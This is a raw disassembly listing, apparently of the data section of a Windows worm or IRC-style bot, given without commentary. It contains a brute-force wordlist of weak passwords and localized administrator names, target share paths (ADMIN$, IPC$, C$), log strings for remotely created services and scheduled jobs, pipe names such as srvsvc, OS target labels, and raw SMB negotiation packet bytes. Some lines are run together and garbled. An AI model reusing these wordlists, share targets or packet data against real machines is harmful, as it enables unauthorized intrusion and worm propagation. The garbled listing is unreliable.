aMyvps		db 'myvps',0            ; DATA XREF: .text:0043D11Co
		align 4
aMssql		db 'mssql',0            ; DATA XREF: .text:0043D118o
		align 4
aMysql		db 'mysql',0            ; DATA XREF: .text:0043D114o
		align 4
aM_3		db 'M$',0               ; DATA XREF: sub_40541D+138o
					; .text:0043D110o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .text:0043D10Co
aMypc		db 'mypc',0             ; DATA XREF: .text:0043D108o
					; .text:0043D120o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .text:0043D104o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .text:0043D100o
		align 4
aMs		db 'MS',0               ; DATA XREF: .text:0043D0FCo
		align 10h
aMachine	db 'machine',0          ; DATA XREF: .text:0043D0F8o
aMicrosoft	db 'microsoft',0        ; DATA XREF: .text:0043D0F4o
		align 4
aMyvnc		db 'myvnc',0            ; DATA XREF: .text:0043D0ECo
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .text:0043D0E8o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .text:0043D0E4o
		align 10h
aLogin		db 'login',0            ; DATA XREF: .text:0043D0E0o
		align 4
aUnix		db 'Unix',0             ; DATA XREF: .text:0043D0DCo
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: .text:0043D0D4o
		align 4
aL337		db 'l337',0             ; DATA XREF: .text:0043D0D0o
		align 10h
aLetmein	db 'letmein',0          ; DATA XREF: .text:0043D0CCo
					; .text:0043EDF4o
aHax		db 'hax',0              ; DATA XREF: .text:0043D0C8o
aHacked		db 'hacked',0           ; DATA XREF: .text:0043D0C4o
		align 4
aGuessme	db 'guessme',0          ; DATA XREF: .text:0043D0BCo
aGuess		db 'guess',0            ; DATA XREF: .text:0043D0B8o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: .text:0043D0B4o
aFucked		db 'fucked',0           ; DATA XREF: .text:0043D0B0o
		align 4
aEducation	db 'education',0        ; DATA XREF: .text:0043D0ACo
		align 10h
off_43D660	dd offset byte_554445	; DATA XREF: .text:0043D0A8o
dword_43D664	dd 2Ah							; sub_40A9FE+121Ao ...
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .text:0043D09Co
		align 4
aSmbpass	db 'smbpass',0          ; DATA XREF: .text:0043D098o
off_43D680	dd offset byte_626D73	; DATA XREF: .text:0043D094o
aDbpass		db 'dbpass',0           ; DATA XREF: .text:0043D088o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .text:0043D084o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: .text:0043D080o
aDead		db 'dead',0             ; DATA XREF: .text:0043D07Co
		align 4
aDave		db 'dave',0             ; DATA XREF: .text:0043D078o
		align 4
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .text:0043D074o
		align 10h
aDatabase	db 'database',0         ; DATA XREF: .text:0043D070o
		align 4
aDaemon_0	db 'daemon',0           ; DATA XREF: .text:0043D06Co
		align 4
aDefaultpass	db 'defaultpass',0      ; DATA XREF: .text:0043D068o
aClosed		db 'closed',0           ; DATA XREF: .text:0043D064o
		align 4
aClosed_0	db 'closed!',0          ; DATA XREF: .text:0043D060o
aCustomer	db 'customer',0         ; DATA XREF: .text:0043D044o
		align 4
aChangeme_0	db 'changeme!',0        ; DATA XREF: .text:0043D040o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .text:0043D03Co
		align 4
aChangethis	db 'changethis',0       ; DATA XREF: .text:0043D038o
		align 10h
aChange		db 'change',0           ; DATA XREF: .text:0043D034o
		align 4
aApache		db 'apache',0           ; DATA XREF: .text:0043D028o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: .text:0043D024o
		align 4
aAccount?	db 'account?',0         ; DATA XREF: .text:0043D01Co
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .text:0043D014o
					; .text:0043EE34o
		align 10h
off_43D750	dd offset byte_636261	; DATA XREF: .text:0043D010o
aAbcd		db 'abcd',0             ; DATA XREF: .text:0043D00Co
					; .text:0043D018o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .text:0043D008o
		align 4
aAaaa		db 'AAAA',0             ; DATA XREF: .text:0043D004o
		align 4
aAussie		db 'aussie',0           ; DATA XREF: .text:0043CFF8o
		align 4
a88888888	db '88888888',0         ; DATA XREF: .text:0043CFD8o
		align 10h
a654321		db '654321',0           ; DATA XREF: .text:0043CFD4o
					; .text:0043EE30o
		align 4
a54321		db '54321',0            ; DATA XREF: .text:0043CFD0o
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: .text:0043CFCCo
		align 4
a123asd		db '123asd',0           ; DATA XREF: .text:0043CFC8o
		align 10h
a123abc		db '123abc',0           ; DATA XREF: .text:0043CFC4o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .text:0043CFC0o
		align 4
a123467890	db '123467890',0        ; DATA XREF: .text:0043CFBCo
		align 10h
a12346789	db '12346789',0         ; DATA XREF: .text:0043CFB8o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .text:0043CFB4o
a123467		db '123467',0           ; DATA XREF: .text:0043CFB0o
		align 4
a12346		db '12346',0            ; DATA XREF: .text:0043CFACo
		align 4
a123456789	db '123456789',0        ; DATA XREF: .text:0043CFA8o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .text:0043CFA4o
					; .text:0043EE2Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: .text:0043CFA0o
					; .text:0043EE00o
a123456		db '123456',0           ; DATA XREF: .text:0043CF9Co
					; .text:0043EE0Co
		align 4
a12345		db '12345',0            ; DATA XREF: .text:0043CF98o
					; .text:0043EE08o
		align 4
a1234		db '1234',0             ; DATA XREF: .text:0043CF94o
					; .text:0043EDF0o
		align 4
a123123		db '123123',0           ; DATA XREF: .text:0043CF90o
		align 4
a123		db '123',0              ; DATA XREF: .text:0043CF8Co
					; .text:0043EDECo
a121212		db '121212',0           ; DATA XREF: .text:0043CF88o
		align 10h
a121		db '121',0              ; DATA XREF: .text:0043CF84o
a12		db '12',0               ; DATA XREF: .text:0043CF80o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .text:0043CF78o
					; .text:0043CF7Co
		align 4
a111111		db '111111',0           ; DATA XREF: .text:0043CF74o
		align 4
a111		db '111',0              ; DATA XREF: .text:0043CF6Co
					; .text:0043CF70o
a110		db '110',0              ; DATA XREF: .text:0043CF68o
a0wned		db '0wned',0            ; DATA XREF: .text:0043CF60o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .text:0043CF5Co
		align 4
a007		db '007',0              ; DATA XREF: .text:0043CF58o
a00000000	db '00000000',0         ; DATA XREF: .text:0043CF54o
		align 4
a000000		db '000000',0           ; DATA XREF: .text:0043CF50o
		align 4
a00000		db '00000',0            ; DATA XREF: .text:0043CF4Co
		align 4
a0000		db '0000',0             ; DATA XREF: .text:0043CF48o
		align 4
a000		db '000',0              ; DATA XREF: .text:0043CF44o
a00		db '00',0               ; DATA XREF: .text:0043CF40o
		align 4
asc_43D894	db '%%%%%',0            ; DATA XREF: .text:0043CF38o
		align 4
asc_43D89C	db '%%%%',0             ; DATA XREF: .text:0043CF34o
		align 4
asc_43D8A4	db '%%%',0              ; DATA XREF: .text:0043CF30o
asc_43D8A8	db '%%',0               ; DATA XREF: .text:0043CF2Co
		align 4
asc_43D8AC:				; DATA XREF: .text:0043CF28o
		unicode	0, <%>,0
a@		db '!@#$%^&*',0         ; DATA XREF: .text:0043CF24o
		align 4
aXxx_0		db 'xXx',0              ; DATA XREF: .text:0043CF10o
aXxxx		db 'xxxx',0             ; DATA XREF: .text:0043CF0Co
					; .text:0043D280o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .text:0043CF08o
					; .text:0043D27Co
aAspnet69	db 'aspnet69',0         ; DATA XREF: .text:0043CED0o
		align 4
aAspnet		db 'aspnet',0           ; DATA XREF: .text:0043CECCo
		align 10h
aMailserver	db 'mailserver',0       ; DATA XREF: .text:0043CEC8o
		align 4
aCompaqblah	db 'Compaqblah',0       ; DATA XREF: .text:0043CEC0o
		align 4
aHallintovirk_0	db 'hallintovirkailijat',0 ; DATA XREF: .text:0043CE60o
aAdministrato_0	db 'administrator',0    ; DATA XREF: .text:0043CE44o
		align 4
aAccess		db 'Access',0           ; DATA XREF: .text:0043CE40o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .text:0043CE3Co
		align 10h
aAdmin_1	db 'admin',0            ; DATA XREF: .text:0043CE38o
					; .text:0043EDF8o
		align 4
asc_43D938:				; DATA XREF: .text:0041A188o
					; sub_424B0B+1C5o ...
		unicode	0, < >,0
aY:					; DATA XREF: .text:0043CDF8o
					; .text:0043D270o ...
		unicode	0, <y>,0
asc_43D940:				; DATA XREF: .text:0043CDF4o
					; .text:0044F3D4o ...
		unicode	0, <X>,0
aWebserver	db 'webserver',0        ; DATA XREF: .text:0043CDF0o
		align 10h
aWww		db 'www',0              ; DATA XREF: .text:0043CDECo
					; .text:0043D268o
dword_43D954	dd 6C6C754Bh, 63FD6E61h, 0FDhaFormationplus	db 'FormationPLUS',0    ; DATA XREF: .text:0043CDE4o
		align 10h
off_43D970	dd offset word_636E76	; DATA XREF: .text:0043CDE0o
					; .text:0043D1F4o ...
aBoss		db 'BOSS',0             ; DATA XREF: .text:0043CDDCo
					; .text:0043CEACo ...
		align 4
aPc05		db 'pc05',0             ; DATA XREF: .text:0043CDD8o
					; .text:0043CFF0o
		align 4
aPc04		db 'pc04',0             ; DATA XREF: .text:0043CDD4o
					; .text:0043CFECo
		align 4
aPc03		db 'pc03',0             ; DATA XREF: .text:0043CDD0o
					; .text:0043CFE8o
		align 4
aPc02		db 'pc02',0             ; DATA XREF: .text:0043CDCCo
					; .text:0043CFE4o
		align 4
aPc01		db 'pc01',0             ; DATA XREF: .text:0043CDC8o
					; .text:0043CFE0o
		align 4
aProfessional	db 'Professional',0     ; DATA XREF: .text:0043CDC4o
		align 4
aServUFtp	db 'Serv-U FTP',0       ; DATA XREF: .text:0043CDC0o
		align 10h
aServU		db 'serv-u',0           ; DATA XREF: .text:0043CDBCo
		align 4
aSlimftp	db 'slimftp',0          ; DATA XREF: .text:0043CDB8o
aLighthttpd	db 'lightHTTPD',0       ; DATA XREF: .text:0043CDB4o
		align 4
aWarftpd	db 'warftpd',0          ; DATA XREF: .text:0043CDB0o
aFtpd		db 'ftpd',0             ; DATA XREF: .text:0043CDACo
		align 4
aProftpd	db 'proftpd',0          ; DATA XREF: .text:0043CDA8o
aAccounting	db 'accounting',0       ; DATA XREF: .text:0043CDA4o
					; .text:0043D020o
		align 10h
aAccount	db 'account',0          ; DATA XREF: .text:0043CDA0o
aAccess_0	db 'access',0
		align 10h
aServeurFtp	db 'serveur ftp',0
aMichelle	db 'michelle',0
		align 4
aMyftp		db 'myftp',0
		align 10h
aMybox		db 'mybox',0
		align 4
aMsumer		db 'msumer',0
		align 10h
aCompaqsecret	db 'Compaqsecret',0
		align 10h
aDell		db 'Dell',0             ; DATA XREF: .text:0043CEBCo
		align 4
off_43DA58	dd offset byte_4D4249	; DATA XREF: .text:0043CEB8o
aAcer		db 'Acer',0
		align 4
aM_4		db 'm$',0
		align 4
		dd offset loc_435048+1
		dd offset loc_424D53
aMs_user	db 'MS_USER',0          ; DATA XREF: .text:0043D0F0o
aSmbuser	db 'SMBUSER',0
aFv		db 'fv',0
		align 4
aBillgates	db 'billgates',0        ; DATA XREF: .text:0043D030o
		align 10h
aUsers		db 'users',0
		align 4
aQaz		db 'qaz',0              ; DATA XREF: .text:0043D168o
a1:					; DATA XREF: .text:0043CF64o
		unicode	0, <1>,0
aQ:					; DATA XREF: .text:0043D164o
					; .text:off_44F320o ...
		unicode	0, <q>,0
aE_0:					; DATA XREF: .text:0043D0A0o
					; .text:0044F328o ...
		unicode	0, <e>,0
off_43DAA8	dd offset byte_616161	; DATA XREF: .text:0043D000o
dword_43DAAC	dd 61h							; .text:0043CFFCo ...
aLinux		db 'linux',0            ; DATA XREF: .text:0043D0D8o
		align 4
aUnix_0		db 'unix',0
		align 10h
a@_0		db '!@#$%^&',0          ; DATA XREF: .text:0043CF20o
a@_1		db '!@#$%^',0           ; DATA XREF: .text:0043CF1Co
		align 10h
a@_2		db '!@#$%',0            ; DATA XREF: .text:0043CF18o
		align 4
a@_3		db '!@#$',0             ; DATA XREF: .text:0043CD24o
					; .text:0043CF14o
		align 10h
a@_4		db '!@#',0              ; DATA XREF: .text:0043CD20o
a@_5		db '!@',0               ; DATA XREF: .text:0043CD1Co
		align 4
a31337		db '31337',0            ; DATA XREF: .text:0043CD18o
					; .text:0043CED4o ...
		align 10h
aGuest		db 'guest',0            ; DATA XREF: .text:0043CD14o
					; .text:0043D0C0o
		align 4
aBox5		db 'box5',0             ; DATA XREF: .text:0043CD10o
					; .text:0043CF00o
		align 10h
aBox4		db 'box4',0             ; DATA XREF: .text:0043CD0Co
					; .text:0043CEFCo
		align 4
aBox3		db 'box3',0             ; DATA XREF: .text:0043CD08o
					; .text:0043CEF8o
		align 10h
aBox2		db 'box2',0             ; DATA XREF: .text:0043CD04o
					; .text:0043CEF4o
		align 4
aBox1		db 'box1',0             ; DATA XREF: .text:0043CD00o
					; .text:0043CEF0o
		align 10h
aBox		db 'box',0              ; DATA XREF: .text:0043CCFCo
					; .text:0043CEECo
aSudo		db 'sudo',0             ; DATA XREF: .text:0043CCF8o
					; .text:0043CEA4o
		align 4
aGameserver	db 'gameserver',0       ; DATA XREF: .text:0043CCF4o
		align 4
aGameServer	db 'game server',0      ; DATA XREF: .text:0043CCF0o
off_43DB44	dd offset dword_4F2D48	; DATA XREF: .text:0043CCECo
dword_43DB48	dd 5244h	aExploited	db 'exploited',0        ; DATA XREF: .text:0043CCE4o
					; .text:0043D090o
		align 4
aDivxServer	db 'DiVX-SERVER',0      ; DATA XREF: .text:0043CCE0o
					; .text:0043CEB4o
aDivx		db 'DiVX',0             ; DATA XREF: .text:0043CCDCo
					; .text:0043CEB0o
		align 4
aBillGates	db 'bill gates',0       ; DATA XREF: .text:0043CCD8o
					; .text:0043D02Co
		align 4
aClient05	db 'Client05',0         ; DATA XREF: .text:0043CCD4o
					; .text:0043D05Co
		align 4
aClient04	db 'Client04',0         ; DATA XREF: .text:0043CCD0o
					; .text:0043D058o
		align 10h
aClient03	db 'Client03',0         ; DATA XREF: .text:0043CCCCo
					; .text:0043D054o
		align 4
aClient02	db 'Client02',0         ; DATA XREF: .text:0043CCC8o
					; .text:0043D050o
		align 4
aClient01	db 'Client01',0         ; DATA XREF: .text:0043CCC4o
					; .text:0043D04Co
		align 4
aClient		db 'Client',0           ; DATA XREF: .text:0043CCC0o
					; .text:0043D048o
		align 4
aBlah		db 'blah',0             ; DATA XREF: .text:0043CCBCo
		align 4
a05		db '05',0               ; DATA XREF: .text:0043CCB8o
					; .text:0043CEE8o
		align 4
a04		db '04',0               ; DATA XREF: .text:0043CCB4o
					; .text:0043CEE4o
		align 4
a03		db '03',0               ; DATA XREF: .text:0043CCB0o
					; .text:0043CEE0o
		align 10h
a02		db '02',0               ; DATA XREF: .text:0043CCACo
					; .text:0043CEDCo
		align 4
a01		db '01',0               ; DATA XREF: .text:0043CCA8o
					; .text:0043CED8o
		align 4
aAsp_net	db 'ASP.NET',0          ; DATA XREF: .text:0043CCA4o
aRdp		db 'rdp',0              ; DATA XREF: .text:0043CCA0o
					; .text:0043D180o
aLuna		db 'luna',0             ; DATA XREF: .text:0043CC9Co
		align 4
aLiverpool	db 'liverpool',0        ; DATA XREF: .text:0043CC98o
					; .text:0043CEA8o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: .text:0043CC94o
					; .text:0043CE90o ...
aMonkey		db 'monkey',0           ; DATA XREF: .text:0043CC90o
					; .text:0043CE8Co ...
		align 4
aArsenal	db 'arsenal',0          ; DATA XREF: .text:0043CC8Co
					; .text:0043CE88o ...
aThomas		db 'thomas',0           ; DATA XREF: .text:0043CC88o
					; .text:0043CE84o ...
		align 4
aMaster		db 'master',0           ; DATA XREF: .text:0043CC84o
					; .text:0043CEC4o ...
		align 10h
aStandard	db 'Standard',0         ; DATA XREF: .text:0043CC80o
					; .text:0043CE74o
		align 4
aHttpd		db 'httpd',0            ; DATA XREF: .text:0043CC7Co
		align 4
aApacheServer	db 'apache server',0    ; DATA XREF: .text:0043CC78o
		align 4
aRoot		db 'root',0             ; DATA XREF: .text:0043CC74o
					; .text:0043D18Co
		align 4
aOwner		db 'owner',0            ; DATA XREF: .text:0043CC70o
					; .text:0043CE7Co ...
		align 4
aAdmin1		db 'Admin1',0           ; DATA XREF: .text:0043CC6Co
					; .text:0043CEA0o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .text:0043CC68o
					; .text:0043CE9Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .text:0043CC64o
					; .text:0043CE98o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .text:0043CC60o
					; .text:0043CE94o
aSystem_0	db 'SYSTEM',0           ; DATA XREF: sub_41E96F+36o
					; .text:0043CC5Co ...
		align 4
aManager	db 'manager',0          ; DATA XREF: .text:0043CC58o
					; .text:0043CE68o
aServeur	db 'serveur',0          ; DATA XREF: .text:0043CC54o
aServidor	db 'Servidor',0         ; DATA XREF: .text:0043CC50o
					; .text:0043D1DCo
		align 4
aUtilizador	db 'Utilizador',0       ; DATA XREF: .text:0043CC4Co
					; .text:0043CE78o
		align 10h
aServer		db 'Server',0           ; DATA XREF: .text:0043CC48o
					; .text:0043D1E4o
		align 4
aDefault_1	db 'default',0          ; DATA XREF: .text:0043CC44o
					; .text:0043D08Co
aDefault_0	db 'Default',0          ; DATA XREF: .text:0043CC40o
					; .text:0043CE70o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .text:0043CC3Co
					; .text:0043CDFCo ...
		align 10h
aContgenerale	db 'Contgenerale',0     ; DATA XREF: .text:0043CC38o
					; .text:0043CE6Co
		align 10h
aAmministratore	db 'Amministratore',0   ; DATA XREF: .text:0043CC34o
					; .text:0043CE64o
		align 10h
aHallintovirkai	db 'Hallintovirkailijat',0 ; DATA XREF: .text:0043CC30o
aVerwalter	db 'Verwalter',0        ; DATA XREF: .text:0043CC2Co
					; .text:0043CE5Co
		align 10h
aRendszergazda	db 'Rendszergazda',0    ; DATA XREF: .text:0043CC28o
					; .text:0043CE58o
		align 10h
aBeheerder	db 'Beheerder',0        ; DATA XREF: .text:0043CC24o
					; .text:0043CE54o
		align 4
aAdministracion	db 'Administracion',0   ; DATA XREF: .text:0043CC20o
					; .text:0043CE50o
		align 4
dword_43DD2C	dd 696D6441h, 7473696Eh, 0F6746172h, 72h					; .text:0043CE4Co
dword_43DD3C	dd 0E8ECE4C0h, 0F2F1E8EDh, 0EEF2E0F0h, 0F0h					; .text:0043CE48o
aAdministrators	db 'Administrators',0   ; DATA XREF: .text:0043CC14o
					; .text:0043CE34o
		align 4
aAdministration	db 'Administration',0   ; DATA XREF: .text:0043CC10o
					; .text:0043CE30o
		align 4
aAdministratori	db 'Administratori',0   ; DATA XREF: .text:0043CC0Co
					; .text:0043CE2Co
		align 4
aAdministratore	db 'Administratore',0   ; DATA XREF: .text:0043CC08o
					; .text:0043CE28o
		align 4
aAdministrado_0	db 'Administrador',27h,0 ; DATA XREF: .text:0043CC04o
					; .text:0043CE24o
		align 4
aAdministratoro	db 'Administratoro',0   ; DATA XREF: .text:0043CC00o
					; .text:0043CE20o
		align 4
aAdministrada	db 'Administrada',0     ; DATA XREF: .text:0043CBFCo
					; .text:0043CE1Co
		align 4
aAdministrateur	db 'Administrateur',0   ; DATA XREF: .text:0043CBF8o
					; .text:0043CE18o
		align 4
aAdministrador	db 'Administrador',0    ; DATA XREF: .text:0043CBF4o
					; .text:0043CE14o
		align 4
aAdmin		db 'Admin',0            ; DATA XREF: .text:0043CBF0o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: .text:0043CBECo
					; .text:0043CE10o ...
		align 4
aDDDDD		db '%d%d%d%d%d',0       ; DATA XREF: sub_4051EF+87o
		align 10h
aSSS_4		db '%s\%s\%s',0         ; DATA XREF: sub_4051EF+3Bo
					; sub_40541D+2BDo
		align 4
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_4051EF+11o
					; sub_421E93+18o
		align 4
aSSSSSSNetsched	db '%s %s: -> [%s\%s, %s/%s] (NetSchedJobAdded)',0
					; DATA XREF: sub_40541D+4F7o
aBlank		db '(Blank)',0          ; DATA XREF: sub_40541D+453o
					; sub_40541D+49Co
aSSSSSSCreateds	db '%s %s: -> [%s\%s, %s/%s] (CreatedService)',0
					; DATA XREF: sub_40541D+422o
		align 4
aDevice0	db 'device0$',0         ; DATA XREF: sub_40541D+244o
		align 4
aBrowser	db 'BROWSER$',0         ; DATA XREF: sub_40541D+23Do
		align 4
aDrivec		db 'drivec$',0          ; DATA XREF: sub_40541D+236o
aMssql_0	db 'MSSQL$',0           ; DATA XREF: sub_40541D+22Fo
		align 4
aMysql_0	db 'MYSQL$',0           ; DATA XREF: sub_40541D+228o
		align 4
aWinnt_0	db 'WINNT$',0           ; DATA XREF: sub_40541D+221o
		align 4
aWindows_0	db 'WINDOWS$',0         ; DATA XREF: sub_40541D+21Ao
		align 10h
aPipe		db 'PIPE$',0            ; DATA XREF: sub_40541D+213o
		align 4
aPipe_0		db 'PIPE\',0            ; DATA XREF: sub_40541D+20Co
		align 10h
aAdministrato_1	db 'ADMINISTRATOR$',0   ; DATA XREF: sub_40541D+205o
		align 10h
aAdministrado_1	db 'ADMINISTRADOR$',0   ; DATA XREF: sub_40541D+1FEo
		align 10h
aDDocume1Admi_0	db 'D$\DOCUME~1\ADMINI~1$',0 ; DATA XREF: sub_40541D+1F7o
		align 4
aCDocume1Admi_0	db 'C$\DOCUME~1\ADMINI~1$',0 ; DATA XREF: sub_40541D+1F0o
		align 10h
aDDocume1Admini	db 'D$\DOCUME~1\ADMINI~1\',0 ; DATA XREF: sub_40541D+1E9o
		align 4
aCDocume1Admini	db 'C$\DOCUME~1\ADMINI~1\',0 ; DATA XREF: sub_40541D+1E2o
		align 10h
aEWindowsSystem	db 'E:\WINDOWS\system32$',0 ; DATA XREF: sub_40541D+1DBo
		align 4
aEWinntSystem32	db 'E:\WINNT\system32$',0 ; DATA XREF: sub_40541D+1D4o
		align 4
aDWindowsSystem	db 'D:\WINDOWS\system32$',0 ; DATA XREF: sub_40541D+1CDo
		align 4
aDWinntSystem32	db 'D:\WINNT\system32$',0 ; DATA XREF: sub_40541D+1C6o
		align 4
aCWinntSystem32	db 'C:\WINNT\system32$',0 ; DATA XREF: sub_40541D+1BCo
		align 4
aDWindows	db 'D:\WINDOWS$',0      ; DATA XREF: sub_40541D+1B5o
aCWinnt		db 'C:\WINNT$',0        ; DATA XREF: sub_40541D+1AEo
		align 4
aZ_1		db 'Z$',0               ; DATA XREF: sub_40541D+1A4o
		align 4
aY_0		db 'Y$',0               ; DATA XREF: sub_40541D+19Do
		align 4
asc_43DFDC	db 'X$',0               ; DATA XREF: sub_40541D+196o
		align 10h
aW		db 'W$',0               ; DATA XREF: sub_40541D+18Fo
		align 4
aV		db 'V$',0               ; DATA XREF: sub_40541D+188o
		align 4
aU_0		db 'U$',0               ; DATA XREF: sub_40541D+17Eo
		align 4
aT		db 'T$',0               ; DATA XREF: sub_40541D+174o
		align 10h
aR		db 'R$',0               ; DATA XREF: sub_40541D+16Ao
		align 4
aQ_0		db 'Q$',0               ; DATA XREF: sub_40541D+160o
		align 4
aP_3		db 'P$',0               ; DATA XREF: sub_40541D+156o
		align 4
aO		db 'O$',0               ; DATA XREF: sub_40541D+14Co
		align 10h
aN_0		db 'N$',0               ; DATA XREF: sub_40541D+142o
		align 4
asc_43E004	db 'L$',0               ; DATA XREF: sub_40541D+12Eo
		align 4
aK_0		db 'K$',0               ; DATA XREF: sub_40541D+124o
		align 4
aJ		db 'J$',0               ; DATA XREF: sub_40541D+11Ao
		align 10h
aI_1		db 'I$',0               ; DATA XREF: sub_40541D+110o
		align 4
asc_43E014	db 'H$',0               ; DATA XREF: sub_40541D+106o
		align 4
aG		db 'G$',0               ; DATA XREF: sub_40541D+FCo
		align 4
aF		db 'F$',0               ; DATA XREF: sub_40541D+F2o
		align 10h
aE_1		db 'E$',0               ; DATA XREF: sub_40541D+E8o
		align 4
aD		db 'D$',0               ; DATA XREF: sub_40541D+DEo
		align 4
aC_0		db 'C$',0               ; DATA XREF: sub_40541D+D4o
		align 4
aB		db 'B$',0               ; DATA XREF: sub_40541D+CAo
		align 10h
aNetlogon	db 'NETLOGON$',0        ; DATA XREF: sub_40541D+C0o
		align 4
aS_7		db 'S$',0               ; DATA XREF: sub_40541D+B6o
		align 10h
aPrint		db 'PRINT$',0           ; DATA XREF: sub_40541D+ACo
		align 4
aIpc		db 'IPC$',0             ; DATA XREF: sub_40541D+A2o
					; sub_4097B9+1A8o
		align 10h
aAdmin_2	db 'ADMIN$',0           ; DATA XREF: sub_40541D+98o
		align 4
aCWindowsSystem	db 'C:\WINDOWS\system32$',0 ; DATA XREF: sub_40541D+89o
		align 10h
aAdministratorS	db 'Administrator\\%s$',0 ; DATA XREF: sub_40541D+6Eo
		align 4
aSIpc		db '%s\IPC$',0          ; DATA XREF: sub_4059BF+56o
aS_0		db '\\%s',0             ; DATA XREF: sub_4059BF+15o
					; sub_4097B9+150o ...
		align 8
dword_43E098	dd 0EFFFC481h, 44FFFFh,	43E148hdword_43E0A4	dd 42Ah		dword_43E0A8	dd 3E8h		dword_43E0AC	dd 258h		byte_43E0B0	db 0			; DATA XREF: sub_405C99+1Er
					; sub_405C99+342r ...
byte_43E0B1	db 1			; DATA XREF: sub_405C99:loc_405E0Ar
					; sub_405C99:loc_405FF9r ...
		align 4
		dd offset aWinxp_0	; "WinXP"
		dd 2C6h, 264h, 0
		dd 1
dword_43E0C8	dd 20804h						; sub_405C99+448o ...
dword_43E0CC	dd 158h		dword_43E0D0	dd 3000005h, 10h					; sub_4066E2+3B7o
dword_43E0D8	dd 2 dup(0)						; sub_4066E2+38Do
dword_43E0E0	dd 200h, 1F0000h, 2 dup(0)					; sub_4066E2+3A4o
dword_43E0F0	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43E13C	dd 158h							; sub_4066E2:loc_406A31r
aWinxp_0	db 'WinXP',0            ; DATA XREF: .text:0043E0B4o
		align 4
aWinnt2k	db 'WinNT+2K',0
		align 4


loc_43E154:				; DATA XREF: sub_405C99+36Do
					; sub_4066E2+487o
		jmp	short near ptr dword_43E158
; ---------------------------------------------------------------------------
		align 4
dword_43E158	dd 0		dword_43E15C	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0					; sub_4097B9+293o
dword_43E170	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0aSPipeSrvsvc	db '\\%s\pipe\srvsvc',0 ; DATA XREF: sub_405C99+12Ao
					; sub_405C99+1DAo
		align 4
aSPipeTrkwks	db '\\%s\pipe\trkwks',0 ; DATA XREF: sub_405C99+8Co
		align 4
aSIpc_0		db '\\%s\IPC$',0        ; DATA XREF: sub_405C99+47o
					; sub_405C99+E5o ...
		align 4
dword_43E1B8	dd 2, 0							; sub_4066E2+477o
dword_43E1C0	dd 215h, 0						; sub_4066E2+428o
dword_43E1C8	dd 163h, 0						; sub_4066E2+275o
dword_43E1D0	dd 1, 0							; sub_4066E2+3C2o
aSPipeBrowser	db '\\%s\PIPE\BROWSER',0 ; DATA XREF: sub_4066E2+ADo
		align 4
aSPipe		db '\\%s\PIPE',0        ; DATA XREF: sub_4066E2+98o
		align 4
aSSSIFileS_	db '%s %s, %s: %i, File: %s.',0 ; DATA XREF: sub_406C69+BFo
		align 4
aSSIpS		db '%s (%s) -> IP: (%s)',0 ; DATA XREF: sub_406D7F+1FBo
					; sub_406D7F+22Eo ...
aSSSingleIpSSDO	db '%s %s single Ip: (%s) %s: (%d) open.',0 ; DATA XREF: sub_406D7F+DBo
		align 10h
aSSSSStartSD	db '%s %s%s: (%s), Start%s: (%d)',0 ; DATA XREF: sub_407281+74o
		align 10h
aB_0		db '',0
		dw 4400h
aCkfdenecfdef_2	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedca_1	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		align 10h
dword_43E2C0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_4073A2+BEo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_43E350	dd 0B9000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_4073A2+F7o
		dd 0C0750000h, 6DD70000h, 0FF0Ch, 2FFDF00h, 100h, 5B000000h
		dd 0
		db    0
		db 5Ch,	0D0h, 0
		db  80h	; €
		db 7Eh,	0, 60h
		db  59h	; Y
		db 2 dup(6), 2Bh
		db    6
		db 1, 2	dup(5)
		db    2
		db 0A0h, 4Fh, 30h
		db  4Dh	; M
		db 0A0h, 0Eh, 30h
		db  0Ch
		db 6, 0Ah, 2Bh
